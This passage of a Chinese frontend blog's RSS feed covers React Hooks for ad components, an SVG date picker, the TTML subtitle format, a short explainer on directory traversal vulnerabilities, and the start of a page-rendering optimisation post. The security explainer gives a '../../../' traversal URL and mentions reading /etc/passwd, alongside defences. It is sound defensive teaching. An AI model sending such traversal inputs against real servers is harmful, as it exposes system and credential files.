广告数据的获取：&amp;lt;Mediav.Provider /&amp;gt; 广告模块的渲染：&amp;lt;Mediav.Item /&amp;gt; Base 模块 广告模块的插入：由具体业务处理 import React from &amp;#39;react&amp;#39;; import Mediav from &amp;#39;@q/mediav&amp;#39;; export default class extends React.Component { state = {newsData: []}; constructor() { this.getNewsData(); } render() { const comps = []; for(let i = 0; i &amp;lt; newsData.length; i++) { comps.push(&amp;lt;NewsCard {...newsData[i]} key={`news-${i}`} /&amp;gt;); if(i % 2) { comps.push(&amp;lt;AdCard key={`ad-${i}`} /&amp;gt;); } } return (&amp;lt;Mediav.Provider id=&amp;#34;xxx&amp;#34;&amp;gt;{comps}&amp;lt;/Mediav.Provider&amp;gt;); } } class AdCard extends Mediav.Item { render() { if(!this.props.type) { return null; } const {title} = this.props; return (&amp;lt;div ref={this.getDOM} onClick={this.onClick} onMouseUp={this.onMouseUp} onMouseDown={this.onMouseDown} &amp;gt;{title}&amp;lt;/div&amp;gt;); } } 通过容器组件 &amp;lt;Mediav.Provider /&amp;gt; 对数据获取逻辑进行封装，通过遍历子组件找到 &amp;lt;Mediav.Item /&amp;gt; 组件的示例个数来告知需要请求的广告数量。请求到广告后通过 Props 注入的形式传入到渲染组件中。而渲染组件 &amp;lt;AdCard /&amp;gt; 继承自 &amp;lt;Mediav.Item /&amp;gt;，一方面能告诉容器组件它是广告组件的插槽，同时还能抽离广告曝光打点和点击打点等通用逻辑进行复用。在用户自定义的 &amp;lt;AdCard /&amp;gt; 组件中，我们可以自定义不同模块的广告组件的渲染样式，最终完成了一套广告组件的渲染。
不过这样实现还是有一些不足的地方。广告曝光检测需要依赖原生 DOM，而 Ref 使用 forwardRef() 在组件间传递稍微有点复杂，所以最后采用了继承模式进行公共方法的抽离。子组件继承后自行绑定父类的一些方法即可，在这点上理解起来有点晦涩，看起来总像是绑定了一些“不存在”的方法。
React Hooks 针对上面提出的问题，有没有什么方法可以解决呢？最终我想到了 Hooks 的方案，通过使用 Hooks 改写后能完美的解决这个问题。我们先简单的了解下什么是 Hooks，它允许我们在不编写 class 的情况下使用 state 和 React 生命周期等相关特性。
const {useState, useEffect} = React; function App() { const [count, setCount] = useState(0); useEffect(() =&amp;gt; { const interval = setInterval(() =&amp;gt; setCount(count + 1), 1000); return () =&amp;gt; clearInterval(interval); }); return &amp;lt;span&amp;gt;{count}&amp;lt;/span&amp;gt;; } ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&amp;#39;app&amp;#39;)); 可以看到，它使用 useState 提供了 state，使用 useEffect 来做一些需要在声明周期中执行的方法。使用 useEffect 代理了原来生命周期的概念后，让代码理解起来更加简单。
当然这不是 Hooks 厉害的地方，它最厉害的地方是支持自定义 Hooks，通过自定义 Hooks 你能对逻辑进行统一的封装。针对一个数据获取的逻辑，我们需要定义 state，然后在初始化的时候去获取数据，当 id 发生变化后我们需要重新获取数据。
class User extends React.Component { state = { user: {} } constructor(...args) { super(...args); const {name} = this.props; this.getUserInfo(name) } componentWillReceiveProps(nextProps) { if(this.props.name === nextProps.name) { return; } this.getUserInfo(nextProps.name); } async getUserInfo(name) { const user = await fetch(url, {name}); this.setState({user}); } render() { return &amp;lt;div&amp;gt;{this.state.user.name}&amp;lt;/div&amp;gt; } } 可以看到我们获取用户信息的这个逻辑要实现需要在组件的各种地方写逻辑，代码一多之后非常容易造成需要各种跳行来查看某个数据逻辑的流程。而通过自定义 Hooks 我们能够将实现这个业务逻辑的代码全部整合到一处，最终达到业务逻辑的复用。
function useUserInfo(name) { const [user, setUser] = useState({}); useEffect(() =&amp;gt; { fetch(url, {name}).then(user =&amp;gt; setUser(user)); }, [name]); return user; } function User({name}) { const user = useUserInfo(name); return &amp;lt;div&amp;gt;{user.name}&amp;lt;/div&amp;gt; } 我们可以从下面的视频中一窥 Hooks 的魅力，同颜色的表示是同一个业务逻辑，最终同颜色的代码都被归置到一处实现了逻辑的解耦。
via: https://twitter.com/prchdk/status/1056960391543062528
使用 Hooks 改进 那 Hooks 是否能应用于我们的业务场景中呢？通过我们之前的分析我们知道，实际上我们的目的就是为了抽离出广告数据获取以及广告的曝光和点击打点这两个通用的业务逻辑出来。所以 Hooks 针对逻辑的封装正好可以为我们所用。
import {useState, useEffect, useRef} from &amp;#39;react&amp;#39;; import {useFetchMediav, useMediavEvent} from &amp;#39;@q/mediav&amp;#39;; function App() { const [newsData, setNewsData] = useState([]); const [adData] = useFetchMediav({id: &amp;#34;xxx&amp;#34;, length: newsData.length / 2}); useEffect(() =&amp;gt; { const newsData = [...]; setNewsData(newsData); }, []); const comps = []; for(let i = 0; i &amp;lt; newsData.length; i++) { comps.push(&amp;lt;NewsCard {...newsData[i]} key={`news-${i}`} /&amp;gt;); if(i % 2) { comps.push(&amp;lt;AdCard data={adData[Math.floor(i/2)]} key={`ad-${i}`} /&amp;gt;); } } return (&amp;lt;div&amp;gt;{comp}&amp;lt;/div&amp;gt;); } function AdCard({data}) { const ref = useRef(null); const bind = useMediavEvent(ref, data); return (&amp;lt;div className=&amp;#34;gg&amp;#34; ref={ref} {...bind}&amp;gt;{data.title}&amp;lt;/div&amp;gt;); } 使用 useFetchMediav() 获取广告数据，通过 props 传入到 &amp;lt;AdCard /&amp;gt; 组件中，通过 useMediavEvent() 获取打点相关的方法，并绑定到对应的元素上。使用 Hooks 修改之后的代码不仅复用性提高了，整体代码的逻辑也变的更加可阅读起来。
后记 当然 Hooks 本身也不是没有缺点。为了在无状态的函数组件中创造去有状态的 Hooks，势必是需要通过副作用将每个 Hooks 缓存在组件中的。而我们没有指定 id 之类的东西，React 是如何区分每一个 Hooks 的呢？答案就是通过调用顺序。内部通过数组（链表？）根据调用顺序依次记录。为了遵守这个规则，Hooks 要求我们不能在 if 等会动态执行的地方进行 Hooks 的定义，因为这样有可能会导致 Hooks 执行顺序发生变化。其次 useEffect() 合并了多个生命周期，某些 Effect 需要在哪些生命周期执行以及如何控制其仅在这些生命周期执行，这些都对开发者带来了更大的挑战。稍微处理不当的话，很可能会造成页面的性能问题。
参考资料：
React Today and Tomorrow and 90% Cleaner React With Hooks
你想知道的React组件设计模式这里都有（上）
你想知道的React组件设计模式这里都有（下）</description></item><item><title>使用 SVG 实现圆环日期选择器</title><link>https://imnerd.org/svg-circle-datepicker.html</link><pubDate>2019-06-08</pubDate><guid>https://imnerd.org/svg-circle-datepicker.html</guid><description>前言 这篇文章是多年前在 SegmentFault 上的一个回答，原问题是问如何使用 Canvas 实现一个下图类似的圆环选择器，点击后会出现对应的日期。虽然已经有 Canvas 的答案了，不过当时正好在学习 SVG 就顺手自己实现了一下。我感觉对大家去理解 SVG 的贝塞尔曲线会有一定的帮助，所以重新整理了下发出来。另外感兴趣的同学还可以去原问题上看一下，除了标准答案 Canvas 的实现以及我写的 SVG 实现之外，还有使用 DIV+CSS 的实现方案。
SVG 如何画任意角度的圆弧线 将这个问题分解出来就是我们要画一个一个的弧块，所以第一步我们需要了解&amp;quot;如何使用SVG画弧线&amp;quot;。关于 SVG 的Path参数了解大家可以去参考一下 张鑫旭老师的博文：《深度掌握SVG路径path的贝塞尔曲线指令》。不过我们需要的 arc 命令并没有给出，这里我就稍作说明一下：
使用
命令
命令参数
参数说明
A
rx
弧线所在椭圆的长轴半径
ry
弧线所在椭圆的短轴半径
x-axis-rotation
弧线与 x 轴的旋转角度
large-arc-flag
两个值：0为小角度弧线，1为大角度弧线
sweep-flag
两个值：0为逆时针，1为顺时针
x
弧线终点的 x 坐标
y
弧线终点的 y 坐标
也就是说画一段弧线你必须给定：
弧线的起始和终点坐标 弧线所在椭圆的长短轴半径 弧线与 x 轴的夹角（即弧线所在椭圆与 x 轴的夹角） 是大角度弧线还是小角度弧线 圆弧是顺时针还是逆时针的 总共 7 个参数，怪复杂的。其它参数都比较好理解，就是large-arc-flag这个参数似乎不太明白的样子，这里我引用一张 MDN 文档 中的图片给大家做一下参考：
实在是不太明白也没有关系，反正就 4 种情况，大家试试也就试出来了。针对这个问题的情况下，因为我们画的是圆弧，所以椭圆直接变成了圆，2 - 5 这 4 条参数都能解决了，剩下的是我们只需要知道弧的起点和终点就好了。这个根据圆弧的角度我们也是可以利用公式计算出来的。这里我画了一个示意图给大家参考一下：
也就是说假设已知圆心坐标和圆心半径，逆时针方向角度为正值。则圆弧α的起点 A 和终点 B 的坐标我们都能知道了。所以控制一段圆弧通用的指令应该是：
M Xo, Yo-r A r r 0 [1|0]** 0 Xo-r*sinα, Yo-r*cosα 注: ** 当弧角度 小于180° 时使用小角度弧线，当弧角度 大于180° 时使用大角度弧线 举个例子，假设圆心坐标为 (100,100)，半径为 50，则我们画一个 30° 角的圆弧为：
JS Bin on jsbin.com
我们可以将其化作一个 JS 函数以便动态创建：
JS Bin on jsbin.com
如何处理弧线标注位置 SVG本身是有marker用来指定其他元素用来做标注的，不过用起来稍微麻烦最终还是需要用到text标签，所以我就直接用text标签来做了。
text标签需要指定标签左下角的 (x,y) 坐标来确定标签的位置，为了达到好看的效果，通过计算弧中点的坐标将其旋转到其切线方向会达到很好看的效果。弧重点的坐标利用上一步中求终点的方法可以非常简单拿到。而旋转到切线方向其实就是将文字旋转弧线的角度。
text也是支持 transform属性 的，和平常在 CSS 中一样也是支持 rotate 等一些常用的变换的。但这里需要注意的是，默认的rotate并不是以文字的左下角做旋转，所以我们要在旋转角度后面定义旋转中心坐标，也就是 transform = &amp;quot;rotate(α x y)&amp;quot;。
这样做完之后有个未完成的地方在于由于不是按照文字中心做的运算，所以你必须左下移动文字宽高的一半才能到达中心。我将这一步的过程封装成了svg.prototype.appendCircleArcText方法做了一个DEMO：
JS Bin on jsbin.com
如何处理渐变色 这个问题我不是很清楚标准的解决办法，但是我的第一反应是利用 alpha通道 来做。利用透明通道能过非常简单的给出一个颜色的渐变出来。但是透明通道有个我们不需要的功能就是透明效果，所以需要将透明过的颜色处理成普通颜色。这一步过程其实非常简单了，代码就是以下这样的：
function gradientColor(len, color) { color = color || [147, 112, 219]; const delta = 0.8 / len; const colorTransfer = (c, o) =&amp;gt; &amp;#39;#&amp;#39; + c.map(t =&amp;gt; parseInt((1 - o) * 255 + o * t).toString(16)).join(&amp;#39;&amp;#39;); return new Array(len).fill(0).map((o, i) =&amp;gt; colorTransfer(color, 1 - i * delta)); } 比较温馨的做法是透明度并不是从 100% -&amp;gt; 0%，而是预留了 20% 的基值。
最终效果 处理完以上三个关键的问题之后其实这道题的代码已经出来了。由于要增加点击事件，我使用g标签将同一个圆弧和其对应的text标签包起来做成一个group，而后对每一个组增加了点击事件。由于 SVG 实际上可以看成一个一个的 DOM 标签，所以点击事件处理起来也是非常的得心应手的。最后附上我的最终代码和效果：
JS Bin on jsbin.com
class SVG { constructor(width, height) { this.width = width; this.height = height; this.s = SVG.createSVG(width, height); } appendCircleArc( circle = { cx: 100, cy: 100, r: 100 }, angel = { start: 0, end: 90 }, attrs = { fill: &amp;#34;none&amp;#34; } ) { const largeArcFlag = Number(angel &amp;gt; 180); this.appendItem(SVG.arc({ largeArcFlag: largeArcFlag, rx: circle.r, ry: circle.r, startX: circle.cx - circle.r * Math.sin(angel.start / 180 * Math.PI), startY: circle.cy - circle.r * Math.cos(angel.start / 180 * Math.PI), endX: circle.cx - circle.r * Math.sin(angel.end / 180 * Math.PI), endY: circle.cy - circle.r * Math.cos(angel.end / 180 * Math.PI) }, attrs)); return this; } appendCircleArcText( text, circle = { cx: 100, cy: 100, r: 100 }, angel = { start: 0, end: 90 }, width = 16, attrs = {} ) { angel = angel.start + (angel.end - angel.start) / 2; const posX = circle.cx - circle.r * Math.sin(angel / 180 * Math.PI); const posY = circle.cx - circle.r * Math.cos(angel / 180 * Math.PI); const circleArcText = SVG.text(text, { ...attrs, x: posX, y: posY, fontSize: width, transform: &amp;#34;rotate( -&amp;#34; + angel + &amp;#34; &amp;#34; + posX + &amp;#34; &amp;#34; + posY + &amp;#34;)&amp;#34; }); this.appendItem(circleArcText); return this; } render() { return this.s; } renderTo(DOM = document.body) { DOM.innerHTML = this.s.outerHTML; const texts = Array.from(DOM.querySelectorAll(&amp;#39;text&amp;#39;)); texts.forEach(text =&amp;gt; { const transform = text.getAttribute(&amp;#39;transform&amp;#39;); transform &amp;amp;&amp;amp; text.removeAttribute(&amp;#39;transform&amp;#39;); const { width, height } = text.getBoundingClientRect(); [ [&amp;#39;x&amp;#39;, text.getAttribute(&amp;#39;x&amp;#39;) / 1 - width / 2], [&amp;#39;y&amp;#39;, text.getAttribute(&amp;#39;y&amp;#39;) / 1 + height / 2], [&amp;#39;transform&amp;#39;, transform || &amp;#39;&amp;#39;] ].forEach(([name, value]) =&amp;gt; text.setAttribute(name, value)); }) return this; } appendItem(item) { this.s.appendChild(item); return this; } static arc({ rx = 50, ry = 50, xAxisRotation = 0, largeArcFlag = 0, sweepFlag = 0, startX = 0, startY = 0, endX = 0, endY = 0 }, attrs = {}) { attrs.d = `M ${startX},${startY} A ${rx} ${ry} ${xAxisRotation} ${largeArcFlag} ${sweepFlag} ${endX},${endY}`; const path = document.createElement(&amp;#39;path&amp;#39;); for (var i in attrs) { path.setAttribute(i.replace(/[A-Z]/g, o =&amp;gt; `-${o}`), attrs[i]); } return path; } static text(text = &amp;#39;&amp;#39;, attrs = {}) { const t = document.createElement(&amp;#39;text&amp;#39;); t.innerHTML = text; for (var i in attrs) { t.setAttribute(i.replace(/[A-Z]/g, o =&amp;gt; `-${o}`), attrs[i]); } return t; } static g = class extends SVG { constructor(attrs = {}) { super(); this.s = document.createElement(&amp;#34;g&amp;#34;); for (var i in attrs) { this.s.setAttribute(i.replace(/[A-Z]/g, o =&amp;gt; `-${o}`), attrs[i]); } } }; static createSVG(width, height) { const s = document.createElement(&amp;#39;svg&amp;#39;); s.setAttribute(&amp;#34;xmlns&amp;#34;, &amp;#34;http://www.w3.org/2000/svg&amp;#34;); s.setAttribute(&amp;#34;width&amp;#34;, width); s.setAttribute(&amp;#34;height&amp;#34;, height); s.setAttribute(&amp;#34;viewBox&amp;#34;, &amp;#34;0 0 &amp;#34; + width + &amp;#34; &amp;#34; + height); return s; } } function gradientColor(len, color) { color = color || [147, 112, 219]; const delta = 0.8 / len; const colorTransfer = (c, o) =&amp;gt; &amp;#39;#&amp;#39; + c.map(t =&amp;gt; parseInt((1 - o) * 255 + o * t).toString(16)).join(&amp;#39;&amp;#39;); return new Array(len).fill(0).map((o, i) =&amp;gt; colorTransfer(color, 1 - i * delta)); } function createCircle(svg, items, circle, width, attrs) { var colors = gradientColor(items.length); colors.forEach(function (color, i) { attrs.value = items[i]; var g = new SVG.g(attrs); var angel = { start: 360 / colors.length * i, end: 360 / colors.length * (i + 1) }; g.appendCircleArc(circle, angel, { fill: &amp;#34;none&amp;#34;, stroke: color, strokeWidth: width }); g.appendCircleArcText(items[i], circle, angel); svg.appendItem(g.render()) }) } const s = new SVG(600, 600) const width = 40; const d = { year: [2009, 2010, 2011, 2012], month: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], week: [&amp;#39;Mon&amp;#39;, &amp;#39;Tue&amp;#39;, &amp;#39;Wes&amp;#39;, &amp;#39;Thu&amp;#39;, &amp;#39;Fri&amp;#39;, &amp;#39;Sat&amp;#39;, &amp;#39;Sun&amp;#39;], day: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31] } Object.keys(d).forEach(function (k, i) { createCircle(s, d[k], { cx: 300, cy: 300, r: 300 - width * (i + 1) }, width, { category: k }); }); s.renderTo(); [].forEach.call(document.querySelectorAll(&amp;#34;g&amp;#34;), function (g) { g.onclick = function () { var s = document.querySelector(&amp;#39;svg&amp;#39;) s.setAttribute(this.getAttribute(&amp;#34;category&amp;#34;), this.getAttribute(&amp;#34;value&amp;#34;)) var u = {}, c = [&amp;#39;year&amp;#39;, &amp;#39;month&amp;#39;, &amp;#39;week&amp;#39;, &amp;#39;day&amp;#39;]; for (var i = 0, l = c.length; i &amp;lt; l; i++) { var o = c[i]; u[o] = s.getAttribute(o) || &amp;#34;&amp;#34;; if (u[o] === &amp;#34;&amp;#34;) return false; } alert(Object.keys(u).map(function (k) { return u[k] }).join(&amp;#39; &amp;#39;)); } })</description></item><item><title>TTML—让 W3C 获得艾美奖的字幕规范</title><link>https://imnerd.org/ttml-w3c.html</link><pubDate>2019-01-05</pubDate><guid>https://imnerd.org/ttml-w3c.html</guid><description>说到视频字幕格式，一般大家都会想到 .srt, .ass 之类大家比较常用的格式。而现在说到 Web 字幕格式，大家第一反应肯定都是 WebVTT。我们知道在&amp;lt;video&amp;gt;或者&amp;lt;audio&amp;gt; 标签中要加载字幕的话，需要使用 &amp;lt;track&amp;gt; 标签将字幕文件嵌入进来。而在 track 的文档中我们会发现其实还有一种 Web 字幕格式，那就是本文的主角 TTML。
The tracks are formatted in WebVTT format (.vtt files) — Web Video Text Tracks or Timed Text Markup Language (TTML).
via: &amp;lt;track&amp;gt;: The Embed Text Track element
TTML 简介 虽然这个字幕格式标准 2010 年就已经成为正式标准了，但是知道的人其实并不多。TTML 全称是 Timed Text Markup Language，是一种基于 XML 的时序文本标记语言。它旨在用于全球范围内的跨字幕和字幕传递应用程序，从而简化互操作性并保持与其他字幕文件格式的一致性和兼容性。
TTML 提供了一种基于时间的配置文件，用来描述与数字媒体相关的文本、图形、图像等内容的出现、位置、样式以及动效等相关配置。因其基于文本字幕标准的工作让更多数字媒体内容提高了无障碍访问能力，于2016年1月8日，荣获由美国国家电视艺术与科学学院颁发的技术与工程艾美奖。
TTML 兼容性 TTML 目前主要是大部分的广播和电视公司、电影制作公司以及电视流媒体平台等公司在使用，例如大家知道的 BBC、Netflix、HBO甚至还有好莱坞。客户端方面的话 VLC Player 开源播放器已经支持这种格式的字幕文件了。而在 Web 上虽然早已有了 W3C 规范，但是似乎浏览器厂商并不是非常买账，目前仅有 IE10+ 支持该格式，且 IE 上支持的仅仅只是 TTML 规范的一个子集，按照文档描述，包括 Animation 在内的一些特性都不太支持，更不用提之后 TTML2 中新增的一些特性了。
Note: IMSC does not have native support in browsers at this current moment, but the imscJS polyfill can be used to bridge this gap. All the examples below are rendered by using imscJS. It creates dynamically HTML and CSS from an IMSC XML document. via: 《IMSC basics》
虽然 Web 上的兼容性这么惨淡，不过好在有对应的 Polyfill 实现可以兼容。使用起来比较简单，调用几个官方 API 方法即可。解析 ttml 字幕内容后调用 getMediaTimeEvents() 方法获得一个包含所有的字幕片段以及每个动画的起始时间的数组，根据对应的起始时间调用 generateISD() 方法获取到对应时间片段的字幕片段数据，最后转换成 DOM 使用 renderHTML() 方法进行渲染即可。
const ttmlObject = imsc.fromXML(ttmlXmlString); const times = ttmlObject.getMediaTimeEvents(); const snapshot = imsc.generateISD(ttmlObject, times[1]); imsc.renderHTML(snapshot, document.getElementById(&amp;#39;videoContainer&amp;#39;)); Polyfill 的详细文档可以查看 MDN，同时官方提供了一个 demo 方便大家快速了解。
TTML 标准的 .ttml 文件的基本格式应该如下，整体结构和 HTML 非常类似，有 &amp;lt;head&amp;gt; 和 &amp;lt;body&amp;gt; 两个标签构成主体内容。&amp;lt;body&amp;gt; 如其名为主体内容标签，而 &amp;lt;head&amp;gt; 可以放置如下标签：
&amp;lt;metadata /&amp;gt;：用于放置字幕文件的 meta 信息的容器标签 &amp;lt;styling /&amp;gt;：用于放置预定义的 &amp;lt;style&amp;gt; 样式的容器标签 &amp;lt;layout /&amp;gt;：用于放置预定义的 &amp;lt;region&amp;gt; 布局的容器标签 &amp;lt;tt xml:lang=&amp;#34;&amp;#34; xmlns=&amp;#34;http://www.w3.org/ns/ttml&amp;#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;metadata&amp;gt; &amp;lt;ttm:title&amp;gt;Timed Text TTML Example&amp;lt;/ttm:title&amp;gt; &amp;lt;ttm:copyright&amp;gt;The Authors (c) 2006&amp;lt;/ttm:copyright&amp;gt; &amp;lt;/metadata&amp;gt; &amp;lt;styling&amp;gt; &amp;lt;style xml:id=&amp;#34;default&amp;#34; tts:color=&amp;#34;white&amp;#34; tts:fontFamily=&amp;#34;proportionalSansSerif&amp;#34; tts:fontSize=&amp;#34;100%&amp;#34; tts:textAlign=&amp;#34;center&amp;#34; /&amp;gt; &amp;lt;/styling&amp;gt; &amp;lt;layout&amp;gt; &amp;lt;region xml:id=&amp;#34;area&amp;#34; style=&amp;#34;default&amp;#34; tts:extent=&amp;#34;100% 10%&amp;#34; tts:origin=&amp;#34;0 90%&amp;#34; tts:backgroundColor=&amp;#34;black&amp;#34; tts:displayAlign=&amp;#34;after&amp;#34; /&amp;gt; &amp;lt;/layout&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body region=&amp;#34;area&amp;#34;&amp;gt; &amp;lt;div&amp;gt; &amp;lt;p xml:id=&amp;#34;sub1&amp;#34; begin=&amp;#34;0s&amp;#34; end=&amp;#34;10s&amp;#34;&amp;gt; Hello World! &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/tt&amp;gt; 从上面的示例可以看出来，整体的结构非常的简单。通过 &amp;lt;style/&amp;gt; 标签可以预定义一套样式，这套样式可以赋给 &amp;lt;region/&amp;gt; 标签方便预设布局的时候提供对应的样式，最终将预设布局赋值给内容标签。说预设和预定义的意思其实就是想说如果你不想使用预设的样式，你也可以直接在内容标签中使用对应的标签属性进行复写。
主体内容这的话看起来和 HTML 非常相似，规范中定义我们可以使用 &amp;lt;div&amp;gt;、&amp;lt;p&amp;gt;、&amp;lt;br/&amp;gt;、&amp;lt;span&amp;gt;这几个标签来描述内容。&amp;lt;div&amp;gt; 用于对内容进行分块，所有的内容都应该包裹在 &amp;lt;div&amp;gt; 标签中。&amp;lt;p&amp;gt; 是用于包裹单条字幕的最小标签，所有对应这条字幕的描述都需要包裹在这个标签中。当然如果想要对某条字幕的部分内容进行配置，则可以将需要配置的内容使用 &amp;lt;span&amp;gt; 标签进行包裹。如果想要对内容进行换行，则使用 &amp;lt;br/&amp;gt; 标签即可。
字幕样式 TTML 的字幕样式配置和 CSS 其实整体是十分像的，只是它改成了标签属性的形式。它支持设置字幕的字体、字号、颜色、大小、行高、排列方式等文字样式，以及边框、背景、位置等字幕块的样式。
字幕位置 众多的样式属性中，位置属性是最重要的。TTML 提供了下列三种属性让我们对字幕位置进行自定义。
tts:extent：用于定义字幕的尺寸，例如 tts:extent=&amp;quot;100% 10%&amp;quot; 表示的是字幕宽度为 100%，高度为 10%。 tts:origin：用于定义字幕左上角的绘制原点，例如 tts:origin=&amp;quot;0% 90%&amp;quot; 表示的是以内容左上角为原点，(0, 90%) 的位置开始绘制。 tts:position：该属性是 TTML2 中新增的属性，用于强制定义字幕位置。区别于 origin 是左上角的偏移，position 是根据设置的属性动态原点的偏移。例如 tts:position=&amp;quot;70% 50%&amp;quot; 的话则是相对于字幕块的(70%, 50%)点作为原点整体字幕偏移相对于内容区域的(70%, 50%)。 可以看到，相对于 Web 的盒子布局，我们需要额外的手动定义字幕的尺寸和位置，这对于习惯了浏览器自己绘制渲染的我们来说还是非常不习惯的。特别是文字的布局如果没有 CSS 的自动计算，实际上是非常麻烦的，包括字幕内容的多变以及字号行高样式都需要考虑进去。
字幕动画 相对于其它字幕格式，支持动画是 TTML 的一大特色。它借鉴了 SVG 的 SMIL 动画标签规范，提供了以下下三组标签让我们可以对字幕动画进行描述。
set：用于定义在某段时间内字幕内容的样式变化，例如 &amp;lt;set begin=&amp;quot;1s&amp;quot; dur=&amp;quot;1s&amp;quot; tts:color=&amp;quot;red&amp;quot;/&amp;gt; 表示的是 1s 后将字幕颜色设置成红色并在 1s 后取消设置。 animate：TTML2 新增的动画属性，支持使用关键帧的形式定义某段时间内字幕样式变化。例如&amp;lt;animate keyTimes=&amp;quot;0;0.2;1&amp;quot; tts:color=&amp;quot;red;green;blue&amp;quot;/&amp;gt; 表示字幕在 0s 的时候为红色，0.2s 后线性转变为绿色，1s 后再线性转变成蓝色。支持多个样式属性变化定义。 animation：多个 animate 或者 set 动画标签的容器标签。 可以看到 set 支持状态的变化但是其实本质是动态的属性修改，直到 TTML2 增加了 animate 标签后 TTML 才算是真正意义上的支持了“动画”。通过关键帧我们能更方便的定义一系列的属性变化并进行自动的补间计算。
TTML vs WebVTT 单从 Web 上来看的话，浏览器兼容性好、配置简单、自动布局而且还支持 CSS 定义样式的 WebVTT 无疑是更优秀的。不过 TTML 浏览器兼容性虽然不咋地，但是在广播电视电影等公司的数字媒体设备中的兼容性还是非常不错的，而且除了文本之外，TTML2 还新增了音频、图像、字体等富媒体内容的内嵌，字幕内容的丰富性和无障碍性方面都有不俗的表现。
不过 TTML 规范因为制定时间比较早的原因所以采用了 XML 协议，现在看来在 Web 上是不讨喜的，特别是 Chrome 还明确指出这与他们想要删除 XML 的依赖支持的理念违背而将不予以实现。可以预见的是在很长的一段时间内，TTML 的浏览器兼容性应该都不会好就是了。
当然针对不复杂的 TTML 字幕，和 WebVTT 的相互转换是比较简单的，下图是同等效果的 TTML 和 WebVTT 字幕文件的内容对比。
后记 TTML 不仅兼容性不好，资料也是少的可怜，国外的资料少的可能，国内的资料抱歉我没搜到。好在文档不是很多，稍微啃一下还是能啃明白的。本文可以算是国内第一篇正儿八经的介绍 TTML 字幕的文章了，希望能帮助大家快速了解 TTML 规范。总体个人感觉上 TTML 是将样式和内容内嵌在一起，整体和 SVG 会比较类似，方便了多平台的渲染统一。但是 TTML 这个规范在使用难易度以及兼容性上其实相较于 WebVTT 来说都是不足的。特别是这种不足会越来越大，剩下的优势也就是富媒体内容和动画这块了。作为在 Web 上实现同样功能的两种规范，后续如果真的有这两方面的需求的话，我个人猜测在 WebVTT 上增加这方面的支持的可能性会更大一点。
参考资料：
《Open Source Support for TTML Subtitles Status Quo and Outlook》
《Timed Text Markup Language 2 (TTML2)》
《Timed Text Markup Language 1 (TTML1) (Third Edition)》</description></item><item><title>Web 安全漏洞之目录遍历</title><link>https://imnerd.org/web-security-vulnerability-directory-traversal.html</link><pubDate>2019-11-24</pubDate><guid>https://imnerd.org/web-security-vulnerability-directory-traversal.html</guid><description>什么是目录遍历 第一次接触到目录遍历漏洞还是在 ThinkJS 2 的时候。代码如下图，目的是当用户访问的 URL 是静态资源的时候返回静态资源的地址。其中 pathname 就是用户访问的 URL 中的路径，我们发现代码中只是简单的解码之后就在22行将其与资源目录做了拼接，这就是非常明显的目录遍历漏洞了。
为什么这么说呢？假设用户访问的 URL 是 http://xxx.com/../../../xxx.jpg 的话最终返回的文件地址就会变成 think.RESOURCE_PATH 的上三层目录中的文件了。而这种利用网站的安全缺陷来列出服务器目录或者文件的方式就成为目录遍历漏洞（Directory traversal），也称之为路径遍历漏洞（英文：Path traversal）。
目录遍历在英文世界里又名../ 攻击（Dot dot slash attack）、目录攀登（Directory climbing）及回溯（Backtracking）。其部分攻击手段也可划分为规范化攻击（Canonicalization attack）。
via: wikipedia
目录遍历的危害 目录遍历最大的危害是能够让任意用户访问系统的敏感文件，继而攻陷整个服务器。例如获取linux下的/etc/passwd文件后可能会破解出root用户的密码等。
防御方法 可以看到大部分情况下问题的关键就是 ../ 目录跳转符，所以防御的第一要务就是它进行过滤。除了过滤之外，还可以针对最终的文件路径进行判断，确保请求文件完整目录后的头N个字符与文档根目录完全相同，如果相同则返回内容，否则则可能是攻击地址不予返回。
回到文章开头说的那个代码问题，最终就是通过上述方法修复的，对最终的文件地址进行规范化后判断开头是否包含 RESOURCE_PATH 目录，如果不包含则返回空。</description></item><item><title>不到 0.3s 完成渲染！360 信息流正文“闪开”优化实践</title><link>https://imnerd.org/nsr.html</link><pubDate>2019-05-05</pubDate><guid>https://imnerd.org/nsr.html</guid><description>开篇之前先介绍一下场景。信息流是一个基于用户兴趣使用算法将用户感兴趣的新闻内容推荐给用户的一种业务。这种业务带有非常特色的场景就是用户有一个“永远”都刷不完的推荐流列表，点击列表中的新闻之后可以跳转到其详情页中查看新闻的正文内容。列表一般都是由客户端原生去实现的，而详情页这块由于新闻内容结构的复杂性，一般还是会使用 h5 来实现。这样就对我们 h5 的性能提出了要求，我们必须在用户切换的时候将切换的白屏时间尽量减少，这样才能提高用户的阅读体验。
本文就将为大家讲述一下我们是如何实现性能优化达到“闪开”的效果的。我们可以先看看效果，下图左边是正常版本，而右边的是优化后的版本。对比之下可以发现即使我已经悄咪咪的先点击左边的手机，同一篇新闻右边的打开速度明显比左边的要快很多。接下来就让我们看看这个是如何做到的吧！
目前现状 众所周知，网页中内容渲染往往根据渲染方式可以分为后渲染和前端渲染两种方式，最近几年由前端渲染又演化出了同构渲染，也就是大家经常说的 SSR。这几种渲染方式的主要优缺点大概整理了主要有如下几个方面。
后端渲染： 优势：服务端直出首屏性能好，SEO好 劣势：交互逻辑复杂需要两端维护结构 前端渲染： 优势：前端交互易维护，数据渲染分离 劣势：首屏性能问题以及 SEO 问题 同构渲染： 优势：首屏性能好，SEO 好，一份代码多端运行 劣势：代码维护成本，服务器性能和维护成本增加 当然本篇文章不是来讲各种渲染方式的优缺点的，主要是说因为种种原因我们的项目最后使用了前端 JS 渲染的方式。而 JS 渲染带来的性能问题主要是由于数据接口请求返回以及前端 JS 资源获取所带来的网络问题。为了解决这两个问题，一方面我们采用了服务端将数据注入到页面全局变量中的方式避免了数据请求，另一方面我们使用了 localStorage 缓存的方式将前端资源做了 LS 缓存避免了二次打开之后的前端资源请求，从而提高了前端渲染的首屏性能。
思考优化方案 虽然我们避免了前端渲染的一些问题对首屏的性能做了优化，但还远远不够。那目前还有哪些点可以进行优化呢？简单的整理了下可以有如下两个方面：
